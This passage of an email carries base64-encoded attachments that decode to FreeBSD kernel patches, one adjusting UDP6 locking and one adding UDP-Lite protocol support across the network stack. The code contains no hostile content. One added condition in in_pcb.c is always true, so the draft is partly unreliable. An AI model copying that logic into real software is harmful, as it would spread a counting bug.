cmVlKGlucCk7Ci0JSU5QX0lORk9fV1VOTE9DSygmVl91ZGJpbmZvKTsKKwlJTlBfSU5GT19XVU5M T0NLKGlucC0+aW5wX3BjYmluZm8pOwogCXVkcF9kaXNjYXJkY2IodXApOwogfQogCkBAIC0xMDU4 LDEwICsxMDU4LDEwIEBAIHVkcDZfZGlzY29ubmVjdChzdHJ1Y3Qgc29ja2V0ICpzbykKIAkJZ290 byBvdXQ7CiAJfQogCi0JSU5QX0hBU0hfV0xPQ0soJlZfdWRiaW5mbyk7CisJSU5QX0hBU0hfV0xP Q0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJaW42X3BjYmRpc2Nvbm5lY3QoaW5wKTsKIAlpbnAtPmlu NnBfbGFkZHIgPSBpbjZhZGRyX2FueTsKLQlJTlBfSEFTSF9XVU5MT0NLKCZWX3VkYmluZm8pOwor CUlOUF9IQVNIX1dVTkxPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJU09DS19MT0NLKHNvKTsKIAlz by0+c29fc3RhdGUgJj0gflNTX0lTQ09OTkVDVEVEOwkJLyogWFhYICovCiAJU09DS19VTkxPQ0so c28pOwpAQCAtMTEyOCw5ICsxMTI4LDkgQEAgdWRwNl9zZW5kKHN0cnVjdCBzb2NrZXQgKnNvLCBp bnQgZmxhZ3MsIHN0cnVjdCBtYnUKICNpZmRlZiBNQUMKIAltYWNfaW5wY2JfY3JlYXRlX21idWYo aW5wLCBtKTsKICNlbmRpZgotCUlOUF9IQVNIX1dMT0NLKCZWX3VkYmluZm8pOworCUlOUF9IQVNI X1dMT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCWVycm9yID0gdWRwNl9vdXRwdXQoaW5wLCBtLCBh ZGRyLCBjb250cm9sLCB0ZCk7Ci0JSU5QX0hBU0hfV1VOTE9DSygmVl91ZGJpbmZvKTsKKwlJTlBf SEFTSF9XVU5MT0NLKGlucC0+aW5wX3BjYmluZm8pOwogI2lmZGVmIElORVQKICNlbmRpZgkKIAlJ TlBfV1VOTE9DSyhpbnApOwo= --047d7b5d58b4c09aa004f4c73c6e Content-Type: application/octet-stream; name=patch-udplite Content-Disposition: attachment; filename=patch-udplite Content-Transfer-Encoding: base64 X-Attachment-Id: f_hsvl74610 SW5kZXg6IGxpYi9saWJjL25ldC9nZXRhZGRyaW5mby5jCj09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIGxpYi9saWJj L25ldC9nZXRhZGRyaW5mby5jCShyZXZpc2lvbiAyNDg4MTEpCisrKyBsaWIvbGliYy9uZXQvZ2V0 YWRkcmluZm8uYwkod29ya2luZyBjb3B5KQpAQCAtMTcwLDEyICsxNzAsMTQgQEAgc3RhdGljIGNv bnN0IHN0cnVjdCBleHBsb3JlIGV4cGxvcmVbXSA9IHsKIAl7IFBGX0lORVQ2LCBTT0NLX1NUUkVB TSwgSVBQUk9UT19UQ1AsIDB4MDcgfSwKIAl7IFBGX0lORVQ2LCBTT0NLX1NUUkVBTSwgSVBQUk9U T19TQ1RQLCAweDAzIH0sCiAJeyBQRl9JTkVUNiwgU09DS19TRVFQQUNLRVQsIElQUFJPVE9fU0NU UCwgMHgwNyB9LAorCXsgUEZfSU5FVDYsIFNPQ0tfREdSQU0sIElQUFJPVE9fVURQTElURSwgMHgw MyB9LAogCXsgUEZfSU5FVDYsIFNPQ0tfUkFXLCBBTlksIDB4MDUgfSwKICNlbmRpZgogCXsgUEZf SU5FVCwgU09DS19ER1JBTSwgSVBQUk9UT19VRFAsIDB4MDcgfSwKIAl7IFBGX0lORVQsIFNPQ0tf U1RSRUFNLCBJUFBST1RPX1RDUCwgMHgwNyB9LAogCXsgUEZfSU5FVCwgU09DS19TVFJFQU0sIElQ UFJPVE9fU0NUUCwgMHgwMyB9LAogCXsgUEZfSU5FVCwgU09DS19TRVFQQUNLRVQsIElQUFJPVE9f U0NUUCwgMHgwNyB9LAorCXsgUEZfSU5FVCwgU09DS19ER1JBTSwgSVBQUk9UT19VRFBMSVRFLCAw eDAzIH0sCiAJeyBQRl9JTkVULCBTT0NLX1JBVywgQU5ZLCAweDA1IH0sCiAJeyAtMSwgMCwgMCwg MCB9LAogfTsKQEAgLTE0NzYsNiArMTQ3OCw5IEBAIGdldF9wb3J0KHN0cnVjdCBhZGRyaW5mbyAq YWksIGNvbnN0IGNoYXIgKnNlcnZuYW1lCiAJCWNhc2UgSVBQUk9UT19TQ1RQOgogCQkJcHJvdG8g PSAic2N0cCI7CiAJCQlicmVhazsKKwkJY2FzZSBJUFBST1RPX1VEUExJVEU6CisJCQlwcm90byA9 ICJ1ZHBsaXRlIjsKKwkJCWJyZWFrOwogCQlkZWZhdWx0OgogCQkJcHJvdG8gPSBOVUxMOwogCQkJ YnJlYWs7CkluZGV4OiBzeXMvbmV0aW5ldC9pbi5jCj09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIHN5cy9uZXRpbmV0 L2luLmMJKHJldmlzaW9uIDI0ODgxMSkKKysrIHN5cy9uZXRpbmV0L2luLmMJKHdvcmtpbmcgY29w eSkKQEAgLTEyMDUsNiArMTIwNSw3IEBAIGluX2lmZGV0YWNoKHN0cnVjdCBpZm5ldCAqaWZwKQog CiAJaW5fcGNicHVyZ2VpZjAoJlZfcmlwY2JpbmZvLCBpZnApOwogCWluX3BjYnB1cmdlaWYwKCZW X3VkYmluZm8sIGlmcCk7CisJaW5fcGNicHVyZ2VpZjAoJlZfdWxpdGVjYmluZm8sIGlmcCk7CiAJ aW5fcHVyZ2VtYWRkcnMoaWZwKTsKIH0KIApJbmRleDogc3lzL25ldGluZXQvaW4uaAo9PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09Ci0tLSBzeXMvbmV0aW5ldC9pbi5oCShyZXZpc2lvbiAyNDg4MTEpCisrKyBzeXMvbmV0aW5l dC9pbi5oCSh3b3JraW5nIGNvcHkpCkBAIC0yMzcsNiArMjM3LDcgQEAgX19FTkRfREVDTFMKICNk ZWZpbmUJSVBQUk9UT19JUENPTVAJCTEwOAkJLyogcGF5bG9hZCBjb21wcmVzc2lvbiAoSVBDb21w KSAqLwogI2RlZmluZQlJUFBST1RPX1NDVFAJCTEzMgkJLyogU0NUUCAqLwogI2RlZmluZQlJUFBS T1RPX01ICQkxMzUJCS8qIElQdjYgTW9iaWxpdHkgSGVhZGVyICovCisjZGVmaW5lCUlQUFJPVE9f VURQTElURQkJMTM2CQkvKiBVRFBMaXRlICovCiAvKiAxMDEtMjU0OiBQYXJ0bHkgVW5hc3NpZ25l ZCAqLwogI2RlZmluZQlJUFBST1RPX1BJTQkJMTAzCQkvKiBQcm90b2NvbCBJbmRlcGVuZGVudCBN Y2FzdCAqLwogI2RlZmluZQlJUFBST1RPX0NBUlAJCTExMgkJLyogQ0FSUCAqLwpJbmRleDogc3lz L25ldGluZXQvaW5fcGNiLmMKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gc3lzL25ldGluZXQvaW5fcGNiLmMJKHJl dmlzaW9uIDI0ODgxMSkKKysrIHN5cy9uZXRpbmV0L2luX3BjYi5jCSh3b3JraW5nIGNvcHkpCkBA IC0zOTAsMTMgKzM5MCwxNCBAQCBpbl9wY2JfbHBvcnQoc3RydWN0IGlucGNiICppbnAsIHN0cnVj dCBpbl9hZGRyICpsYQogCQlsYXN0cG9ydCA9ICZwY2JpbmZvLT5pcGlfbGFzdHBvcnQ7CiAJfQog CS8qCi0JICogRm9yIFVEUCwgdXNlIHJhbmRvbSBwb3J0IGFsbG9jYXRpb24gYXMgbG9uZyBhcyB0 aGUgdXNlcgorCSAqIEZvciBVRFAoLUxpdGUpLCB1c2UgcmFuZG9tIHBvcnQgYWxsb2NhdGlvbiBh cyBsb25nIGFzIHRoZSB1c2VyCiAJICogYWxsb3dzIGl0LiAgRm9yIFRDUCAoYW5kIGFzIG9mIHll dCB1bmtub3duKSBjb25uZWN0aW9ucywKIAkgKiB1c2UgcmFuZG9tIHBvcnQgYWxsb2NhdGlvbiBv bmx5IGlmIHRoZSB1c2VyIGFsbG93cyBpdCBBTkQKIAkgKiBpcHBvcnRfdGljaygpIGFsbG93cyBp dC4KIAkgKi8KIAlpZiAoVl9pcHBvcnRfcmFuZG9taXplZCAmJgotCQkoIVZfaXBwb3J0X3N0b3By YW5kb20gfHwgcGNiaW5mbyA9PSAmVl91ZGJpbmZvKSkKKwkJKCFWX2lwcG9ydF9zdG9wcmFuZG9t IHx8IHBjYmluZm8gPT0gJlZfdWRiaW5mbyB8fAorCQlwY2JpbmZvID09ICZWX3VsaXRlY2JpbmZv KSkKIAkJZG9yYW5kb20gPSAxOwogCWVsc2UKIAkJZG9yYW5kb20gPSAwOwpAQCAtNDA2LDggKzQw Nyw4IEBAIGluX3BjYl9scG9ydChzdHJ1Y3QgaW5wY2IgKmlucCwgc3RydWN0IGluX2FkZHIgKmxh CiAJICovCiAJaWYgKGZpcnN0ID09IGxhc3QpCiAJCWRvcmFuZG9tID0gMDsKLQkvKiBNYWtlIHN1 cmUgdG8gbm90IGluY2x1ZGUgVURQIHBhY2tldHMgaW4gdGhlIGNvdW50LiAqLwotCWlmIChwY2Jp bmZvICE9ICZWX3VkYmluZm8pCisJLyogTWFrZSBzdXJlIHRvIG5vdCBpbmNsdWRlIFVEUCgtTGl0 ZSkgcGFja2V0cyBpbiB0aGUgY291bnQuICovCisJaWYgKHBjYmluZm8gIT0gJlZfdWRiaW5mbyB8 fCBwY2JpbmZvICE9ICZWX3VsaXRlY2JpbmZvKQogCQlWX2lwcG9ydF90Y3BhbGxvY3MrKzsKIAkv KgogCSAqIEluc3RlYWQgb2YgaGF2aW5nIHR3byBsb29wcyBmdXJ0aGVyIGRvd24gY291bnRpbmcg dXAgb3IgZG93bgpJbmRleDogc3lzL25ldGluZXQvaW5fcHJvdG8uYwo9PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBz eXMvbmV0aW5ldC9pbl9wcm90by5jCShyZXZpc2lvbiAyNDg4MTEpCisrKyBzeXMvbmV0aW5ldC9p bl9wcm90by5jCSh3b3JraW5nIGNvcHkpCkBAIC0xODQsNiArMTg0LDIwIEBAIHN0cnVjdCBwcm90 b3N3IGluZXRzd1tdID0gewogfSwKICNlbmRpZiAvKiBTQ1RQICovCiB7CisJLnByX3R5cGUgPQkJ U09DS19ER1JBTSwKKwkucHJfZG9tYWluID0JCSZpbmV0ZG9tYWluLAorCS5wcl9wcm90b2NvbCA9 CQlJUFBST1RPX1VEUExJVEUsCisJLnByX2ZsYWdzID0JCVBSX0FUT01JQ3xQUl9BRERSLAorCS5w cl9pbnB1dCA9CQl1ZHBfaW5wdXQsCisJLnByX2N0bGlucHV0ID0JCXVkcGxpdGVfY3RsaW5wdXQs CisJLnByX2N0bG91dHB1dCA9CQl1ZHBfY3Rsb3V0cHV0LAorCS5wcl9pbml0ID0JCXVkcGxpdGVf aW5pdCwKKyNpZmRlZiBWSU1BR0UKKwkucHJfZGVzdHJveSA9CQl1ZHBsaXRlX2Rlc3Ryb3ksCisj ZW5kaWYKKwkucHJfdXNycmVxcyA9CQkmdWRwX3VzcnJlcXMKK30sCit7CiAJLnByX3R5cGUgPQkJ U09DS19SQVcsCiAJLnByX2RvbWFpbiA9CQkmaW5ldGRvbWFpbiwKIAkucHJfcHJvdG9jb2wgPQkJ SVBQUk9UT19SQVcsCkBAIC0zNzAsNiArMzg0LDcgQEAgU1lTQ1RMX05PREUoX25ldF9pbmV0LCBJ UFBST1RPX1RDUCwJdGNwLAlDVExGTEFHX1IKICNpZmRlZiBTQ1RQCiBTWVNDVExfTk9ERShfbmV0 X2luZXQsIElQUFJPVE9fU0NUUCwJc2N0cCwJQ1RMRkxBR19SVywgMCwJIlNDVFAiKTsKICNlbmRp ZgorU1lTQ1RMX05PREUoX25ldF9pbmV0LCBJUFBST1RPX1VEUExJVEUsCXVkcGxpdGUsQ1RMRkxB R19SVywgMCwJIlVEUExpdGUiKTsKIFNZU0NUTF9OT0RFKF9uZXRfaW5ldCwgSVBQUk9UT19JR01Q LAlpZ21wLAlDVExGTEFHX1JXLCAwLAkiSUdNUCIpOwogI2lmZGVmIElQU0VDCiAvKiBYWFggbm8g cHJvdG9jb2wgIyB0byB1c2UsIHBpY2sgc29tZXRoaW5nICJyZXNlcnZlZCIgKi8KSW5kZXg6IHN5 cy9uZXRpbmV0L3VkcF91c3JyZXEuYwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBzeXMvbmV0aW5ldC91ZHBfdXNy cmVxLmMJKHJldmlzaW9uIDI0ODgxMSkKKysrIHN5cy9uZXRpbmV0L3VkcF91c3JyZXEuYwkod29y a2luZyBjb3B5KQpAQCAtODQsNiArODQsNyBAQCBfX0ZCU0RJRCgiJEZyZWVCU0QkIik7CiAjZW5k aWYKICNpbmNsdWRlIDxuZXRpbmV0L3VkcC5oPgogI2luY2x1ZGUgPG5ldGluZXQvdWRwX3Zhci5o PgorI2luY2x1ZGUgPG5ldGluZXQvdWRwbGl0ZS5oPgogCiAjaWZkZWYgSVBTRUMKICNpbmNsdWRl IDxuZXRpcHNlYy9pcHNlYy5oPgpAQCAtMTMxLDEzICsxMzIsMTggQEAgdV9sb25nCXVkcF9yZWN2 c3BhY2UgPSA0MCAqICgxMDI0ICsKICNlbmRpZgogCQkJCSAgICAgICk7CiAKKwogU1lTQ1RMX1VM T05HKF9uZXRfaW5ldF91ZHAsIFVEUENUTF9SRUNWU1BBQ0UsIHJlY3ZzcGFjZSwgQ1RMRkxBR19S VywKICAgICAmdWRwX3JlY3ZzcGFjZSwgMCwgIk1heGltdW0gc3BhY2UgZm9yIGluY29taW5nIFVE UCBkYXRhZ3JhbXMiKTsKIAogVk5FVF9ERUZJTkUoc3RydWN0IGlucGNiaGVhZCwgdWRiKTsJCS8q IGZyb20gdWRwX3Zhci5oICovCiBWTkVUX0RFRklORShzdHJ1Y3QgaW5wY2JpbmZvLCB1ZGJpbmZv KTsKK1ZORVRfREVGSU5FKHN0cnVjdCBpbnBjYmhlYWQsIHVsaXRlY2IpOworVk5FVF9ERUZJTkUo c3RydWN0IGlucGNiaW5mbywgdWxpdGVjYmluZm8pOwogc3RhdGljIFZORVRfREVGSU5FKHVtYV96 b25lX3QsIHVkcGNiX3pvbmUpOwotI2RlZmluZQlWX3VkcGNiX3pvbmUJCQlWTkVUKHVkcGNiX3pv bmUpCitzdGF0aWMgVk5FVF9ERUZJTkUodW1hX3pvbmVfdCwgdWRwbGl0ZWNiX3pvbmUpOworI2Rl ZmluZQlWX3VkcGNiX3pvbmUJCVZORVQodWRwY2Jfem9uZSkKKyNkZWZpbmUJVl91ZHBsaXRlY2Jf em9uZQlWTkVUKHVkcGxpdGVjYl96b25lKQogCiAjaWZuZGVmIFVEQkhBU0hTSVpFCiAjZGVmaW5l CVVEQkhBU0hTSVpFCTEyOApAQCAtMTY3LDEwICsxNzMsMTYgQEAgc3RhdGljIHZvaWQKIHVkcF96 b25lX2NoYW5nZSh2b2lkICp0YWcpCiB7CiAKLQl1bWFfem9uZV9zZXRfbWF4KFZfdWRiaW5mby5p cGlfem9uZSwgbWF4c29ja2V0cyk7Ci0JdW1hX3pvbmVfc2V0X21heChWX3VkcGNiX3pvbmUsIG1h eHNvY2tldHMpOworCXVkcF9jb21tb25fem9uZV9jaGFuZ2UoVl91ZGJpbmZvLCBWX3VkcGNiX3pv bmUpOwogfQogCitzdGF0aWMgdm9pZAordWRwbGl0ZV96b25lX2NoYW5nZSh2b2lkICp0YWcpCit7 CisKKwl1ZHBfY29tbW9uX3pvbmVfY2hhbmdlKFZfdWxpdGVjYmluZm8sIFZfdWRwbGl0ZWNiX3pv bmUpOworfQorCiBzdGF0aWMgaW50CiB1ZHBfaW5wY2JfaW5pdCh2b2lkICptZW0sIGludCBzaXpl LCBpbnQgZmxhZ3MpCiB7CkBAIC0xODEsMjEgKzE5MywzNCBAQCB1ZHBfaW5wY2JfaW5pdCh2b2lk ICptZW0sIGludCBzaXplLCBpbnQgZmxhZ3MpCiAJcmV0dXJuICgwKTsKIH0KIAorc3RhdGljIGlu dAordWRwbGl0ZV9pbnBjYl9pbml0KHZvaWQgKm1lbSwgaW50IHNpemUsIGludCBmbGFncykKK3sK KwlzdHJ1Y3QgaW5wY2IgKmlucDsKKworCWlucCA9IG1lbTsKKwlJTlBfTE9DS19JTklUKGlucCwg ImlucCIsICJ1ZHBsaXRlaW5wIik7CisJcmV0dXJuICgwKTsKK30KKwogdm9pZAogdWRwX2luaXQo dm9pZCkKIHsKLQotCWluX3BjYmluZm9faW5pdCgmVl91ZGJpbmZvLCAidWRwIiwgJlZfdWRiLCBV REJIQVNIU0laRSwgVURCSEFTSFNJWkUsCi0JICAgICJ1ZHBfaW5wY2IiLCB1ZHBfaW5wY2JfaW5p dCwgTlVMTCwgVU1BX1pPTkVfTk9GUkVFLAotCSAgICBJUElfSEFTSEZJRUxEU18yVFVQTEUpOwot CVZfdWRwY2Jfem9uZSA9IHVtYV96Y3JlYXRlKCJ1ZHBjYiIsIHNpemVvZihzdHJ1Y3QgdWRwY2Ip LAotCSAgICBOVUxMLCBOVUxMLCBOVUxMLCBOVUxMLCBVTUFfQUxJR05fUFRSLCBVTUFfWk9ORV9O T0ZSRUUpOwotCXVtYV96b25lX3NldF9tYXgoVl91ZHBjYl96b25lLCBtYXhzb2NrZXRzKTsKLQl1 bWFfem9uZV9zZXRfd2FybmluZyhWX3VkcGNiX3pvbmUsICJrZXJuLmlwYy5tYXhzb2NrZXRzIGxp bWl0IHJlYWNoZWQiKTsKKwl1ZHBfY29tbW9uX2luaXQoJlZfdWRiaW5mbywgInVkcCIsICZWX3Vk YiwgInVkcF9pbnBjYiIsIHVkcF9pbnBjYl9pbml0LAorCSAgICBWX3VkcGNiX3pvbmUsICJ1ZHBj YiIpOwogCUVWRU5USEFORExFUl9SRUdJU1RFUihtYXhzb2NrZXRzX2NoYW5nZSwgdWRwX3pvbmVf Y2hhbmdlLCBOVUxMLAogCSAgICBFVkVOVEhBTkRMRVJfUFJJX0FOWSk7CiB9CiAKK3ZvaWQKK3Vk cGxpdGVfaW5pdCh2b2lkKQoreworCXVkcF9jb21tb25faW5pdCgmVl91bGl0ZWNiaW5mbywgInVk cGxpdGUiLCAmVl91bGl0ZWNiLCAidWRwbGl0ZV9pbnBjYiIsCisJICAgIHVkcGxpdGVfaW5wY2Jf aW5pdCwgVl91ZHBsaXRlY2Jfem9uZSwgInVkcGxpdGVjYiIpOworCUVWRU5USEFORExFUl9SRUdJ U1RFUihtYXhzb2NrZXRzX2NoYW5nZSwgdWRwbGl0ZV96b25lX2NoYW5nZSwgTlVMTCwKKwkgICAg RVZFTlRIQU5ETEVSX1BSSV9BTlkpOworfQorCiAvKgogICogS2VybmVsIG1vZHVsZSBpbnRlcmZh Y2UgZm9yIHVwZGF0aW5nIHVkcHN0YXQuICBUaGUgYXJndW1lbnQgaXMgYW4gaW5kZXgKICAqIGlu dG8gdWRwc3RhdCB0cmVhdGVkIGFzIGFuIGFycmF5IG9mIHVfbG9uZy4gIFdoaWxlIHRoaXMgZW5j b2RlcyB0aGUKQEAgLTIxNSw3ICsyNDAsMTAgQEAgdWRwX25ld3VkcGNiKHN0cnVjdCBpbnBjYiAq aW5wKQogewogCXN0cnVjdCB1ZHBjYiAqdXA7CiAKLQl1cCA9IHVtYV96YWxsb2MoVl91ZHBjYl96 b25lLCBNX05PV0FJVCB8IE1fWkVSTyk7CisJaWYgKGlucC0+aW5wX3NvY2tldC0+c29fcHJvdG8t PnByX3Byb3RvY29sID09IElQUFJPVE9fVURQKQorCQl1cCA9IHVtYV96YWxsb2MoVl91ZHBjYl96 b25lLCBNX05PV0FJVCB8IE1fWkVSTyk7CisJZWxzZQorCQl1cCA9IHVtYV96YWxsb2MoVl91ZHBs aXRlY2Jfem9uZSwgTV9OT1dBSVQgfCBNX1pFUk8pOwogCWlmICh1cCA9PSBOVUxMKQogCQlyZXR1 cm4gKEVOT0JVRlMpOwogCWlucC0+aW5wX3BwY2IgPSB1cDsKQEAgLTIyMywxMCArMjUxLDEyIEBA IHVkcF9uZXd1ZHBjYihzdHJ1Y3QgaW5wY2IgKmlucCkKIH0KIAogdm9pZAotdWRwX2Rpc2NhcmRj YihzdHJ1Y3QgdWRwY2IgKnVwKQordWRwX2Rpc2NhcmRjYihzdHJ1Y3QgdWRwY2IgKnVwLCBpbnQg aXN1ZHApCiB7Ci0KLQl1bWFfemZyZWUoVl91ZHBjYl96b25lLCB1cCk7CisJaWYgKGlzdWRwKQor CQl1bWFfemZyZWUoVl91ZHBjYl96b25lLCB1cCk7CisJZWxzZQorCQl1bWFfemZyZWUoVl91ZHBs aXRlY2Jfem9uZSwgdXApOwogfQogCiAjaWZkZWYgVklNQUdFCkBAIC0yMzQsOSArMjY0LDE1IEBA IHZvaWQKIHVkcF9kZXN0cm95KHZvaWQpCiB7CiAKLQlpbl9wY2JpbmZvX2Rlc3Ryb3koJlZfdWRi aW5mbyk7Ci0JdW1hX3pkZXN0cm95KFZfdWRwY2Jfem9uZSk7CisJdWRwX2NvbW1vbl9kZXN0cm95 KCZWX3VkYmluZm8sIFZfdWRwY2Jfem9uZSk7CiB9CisKK3ZvaWQKK3VkcGxpdGVfZGVzdHJveSh2 b2lkKQoreworCisJdWRwX2NvbW1vbl9kZXN0cm95KCZWX3VsaXRlY2JpbmZvLCBWX3VkcGxpdGVj Yl96b25lKTsKK30KICNlbmRpZgogCiAjaWZkZWYgSU5FVApAQCAtMzM5LDEwICszNzUsMTMgQEAg dWRwX2lucHV0KHN0cnVjdCBtYnVmICptLCBpbnQgb2ZmKQogCXN0cnVjdCB1ZHBoZHIgKnVoOwog CXN0cnVjdCBpZm5ldCAqaWZwOwogCXN0cnVjdCBpbnBjYiAqaW5wOworCXN0cnVjdCBpbnBjYmlu Zm8gKnBjYmluZm87CiAJdWludDE2X3QgbGVuLCBpcF9sZW47CiAJc3RydWN0IGlwIHNhdmVfaXA7 CiAJc3RydWN0IHNvY2thZGRyX2luIHVkcF9pbjsKIAlzdHJ1Y3QgbV90YWcgKmZ3ZF90YWc7CisJ aW50IGNzY292X3BhcnRpYWw7CisJdWludDhfdCBwcjsKIAogCWlmcCA9IG0tPm1fcGt0aGRyLnJj dmlmOwogCVVEUFNUQVRfSU5DKHVkcHNfaXBhY2tldHMpOwpAQCAtMzYyLDE0ICs0MDEsMTUgQEAg dWRwX2lucHV0KHN0cnVjdCBtYnVmICptLCBpbnQgb2ZmKQogCSAqLwogCWlwID0gbXRvZChtLCBz dHJ1Y3QgaXAgKik7CiAJaWYgKG0tPm1fbGVuIDwgaXBobGVuICsgc2l6ZW9mKHN0cnVjdCB1ZHBo ZHIpKSB7Ci0JCWlmICgobSA9IG1fcHVsbHVwKG0sIGlwaGxlbiArIHNpemVvZihzdHJ1Y3QgdWRw aGRyKSkpID09IDApIHsKKwkJaWYgKChtID0gbV9wdWxsdXAobSwgaXBobGVuICsgc2l6ZW9mKHN0 cnVjdCB1ZHBoZHIpKSkgPT0gTlVMTCkgewogCQkJVURQU1RBVF9JTkModWRwc19oZHJvcHMpOwog CQkJcmV0dXJuOwogCQl9CiAJCWlwID0gbXRvZChtLCBzdHJ1Y3QgaXAgKik7CiAJfQogCXVoID0g KHN0cnVjdCB1ZHBoZHIgKikoKGNhZGRyX3QpaXAgKyBpcGhsZW4pOwotCisJcHIgPSBpcC0+aXBf cDsKKwljc2Nvdl9wYXJ0aWFsID0gKHByID09IElQUFJPVE9fVURQTElURSkgPyAxIDogMDsKIAkv KgogCSAqIERlc3RpbmF0aW9uIHBvcnQgb2YgMCBpcyBpbGxlZ2FsLCBiYXNlZCBvbiBSRkM3Njgu CiAJICovCkBAIC0zOTIsMTIgKzQzMiwxOSBAQCB1ZHBfaW5wdXQoc3RydWN0IG1idWYgKm0sIGlu dCBvZmYpCiAJICovCiAJbGVuID0gbnRvaHMoKHVfc2hvcnQpdWgtPnVoX3VsZW4pOwogCWlwX2xl biA9IG50b2hzKGlwLT5pcF9sZW4pIC0gaXBobGVuOworCWlmIChwciA9PSBJUFBST1RPX1VEUExJ VEUgJiYgbGVuID09IDApIHsKKwkJLyogWmVybyBtZWFucyBjaGVja3N1bSBvdmVyIHRoZSBjb21w bGV0ZSBwYWNrZXQuICovCisJCWxlbiA9IGlwX2xlbjsKKwkJY3Njb3ZfcGFydGlhbCA9IDA7CisJ fQorCiAJaWYgKGlwX2xlbiAhPSBsZW4pIHsKIAkJaWYgKGxlbiA+IGlwX2xlbiB8fCBsZW4gPCBz aXplb2Yoc3RydWN0IHVkcGhkcikpIHsKIAkJCVVEUFNUQVRfSU5DKHVkcHNfYmFkbGVuKTsKIAkJ CWdvdG8gYmFkdW5sb2NrZWQ7CiAJCX0KLQkJbV9hZGoobSwgbGVuIC0gaXBfbGVuKTsKKwkJaWYg KHByID09IElQUFJPVE9fVURQKQorCQkJbV9hZGoobSwgbGVuIC0gaXBfbGVuKTsKIAl9CiAKIAkv KgpAQCAtNDE1LDIwICs0NjIsMjQgQEAgdWRwX2lucHV0KHN0cnVjdCBtYnVmICptLCBpbnQgb2Zm KQogCWlmICh1aC0+dWhfc3VtKSB7CiAJCXVfc2hvcnQgdWhfc3VtOwogCi0JCWlmIChtLT5tX3Br dGhkci5jc3VtX2ZsYWdzICYgQ1NVTV9EQVRBX1ZBTElEKSB7CisJCWlmICgobS0+bV9wa3RoZHIu Y3N1bV9mbGFncyAmIENTVU1fREFUQV9WQUxJRCkgJiYKKwkJICAgICFjc2Nvdl9wYXJ0aWFsKSB7 CiAJCQlpZiAobS0+bV9wa3RoZHIuY3N1bV9mbGFncyAmIENTVU1fUFNFVURPX0hEUikKIAkJCQl1 aF9zdW0gPSBtLT5tX3BrdGhkci5jc3VtX2RhdGE7CiAJCQllbHNlCiAJCQkJdWhfc3VtID0gaW5f cHNldWRvKGlwLT5pcF9zcmMuc19hZGRyLAogCQkJCSAgICBpcC0+aXBfZHN0LnNfYWRkciwgaHRv bmwoKHVfc2hvcnQpbGVuICsKLQkJCQkgICAgbS0+bV9wa3RoZHIuY3N1bV9kYXRhICsgSVBQUk9U T19VRFApKTsKKwkJCQkgICAgbS0+bV9wa3RoZHIuY3N1bV9kYXRhICsgcHIpKTsKIAkJCXVoX3N1 bSBePSAweGZmZmY7CiAJCX0gZWxzZSB7CiAJCQljaGFyIGJbOV07CiAKIAkJCWJjb3B5KCgoc3Ry dWN0IGlwb3ZseSAqKWlwKS0+aWhfeDEsIGIsIDkpOwogCQkJYnplcm8oKChzdHJ1Y3QgaXBvdmx5 ICopaXApLT5paF94MSwgOSk7Ci0JCQkoKHN0cnVjdCBpcG92bHkgKilpcCktPmloX2xlbiA9IHVo LT51aF91bGVuOworCQkJaWYgKHByID09IElQUFJPVE9fVURQKQorCQkJCSgoc3RydWN0IGlwb3Zs eSAqKWlwKS0+aWhfbGVuID0gdWgtPnVoX3VsZW47CisJCQllbHNlCisJCQkJKChzdHJ1Y3QgaXBv dmx5ICopaXApLT5paF9sZW4gPSBodG9ucyhpcF9sZW4pOwogCQkJdWhfc3VtID0gaW5fY2tzdW0o bSwgbGVuICsgc2l6ZW9mIChzdHJ1Y3QgaXApKTsKIAkJCWJjb3B5KGIsICgoc3RydWN0IGlwb3Zs eSAqKWlwKS0+aWhfeDEsIDkpOwogCQl9CkBAIC00NDAsMTQgKzQ5MSwxOCBAQCB1ZHBfaW5wdXQo c3RydWN0IG1idWYgKm0sIGludCBvZmYpCiAJfSBlbHNlCiAJCVVEUFNUQVRfSU5DKHVkcHNfbm9z dW0pOwogCisJcGNiaW5mbyA9IChwciA9PSBJUFBST1RPX1VEUCkgPyAmVl91ZGJpbmZvIDogJlZf dWxpdGVjYmluZm87CisKIAlpZiAoSU5fTVVMVElDQVNUKG50b2hsKGlwLT5pcF9kc3Quc19hZGRy KSkgfHwKIAkgICAgaW5fYnJvYWRjYXN0KGlwLT5pcF9kc3QsIGlmcCkpIHsKIAkJc3RydWN0IGlu cGNiICpsYXN0OworCQlzdHJ1Y3QgaW5wY2JoZWFkICpwY2JsaXN0OwogCQlzdHJ1Y3QgaXBfbW9w dGlvbnMgKmltbzsKIAotCQlJTlBfSU5GT19STE9DSygmVl91ZGJpbmZvKTsKKwkJSU5QX0lORk9f UkxPQ0socGNiaW5mbyk7CisJCXBjYmxpc3QgPSAocHIgPT0gSVBQUk9UT19VRFApID8gJlZfdWRi IDogJlZfdWxpdGVjYjsKIAkJbGFzdCA9IE5VTEw7Ci0JCUxJU1RfRk9SRUFDSChpbnAsICZWX3Vk YiwgaW5wX2xpc3QpIHsKKwkJTElTVF9GT1JFQUNIKGlucCwgcGNibGlzdCwgaW5wX2xpc3QpIHsK IAkJCWlmIChpbnAtPmlucF9scG9ydCAhPSB1aC0+dWhfZHBvcnQpCiAJCQkJY29udGludWU7CiAj aWZkZWYgSU5FVDYKQEAgLTUzMywxMiArNTg4LDEyIEBAIHVkcF9pbnB1dChzdHJ1Y3QgbWJ1ZiAq bSwgaW50IG9mZikKIAkJCVVEUFNUQVRfSU5DKHVkcHNfbm9wb3J0YmNhc3QpOwogCQkJaWYgKGlu 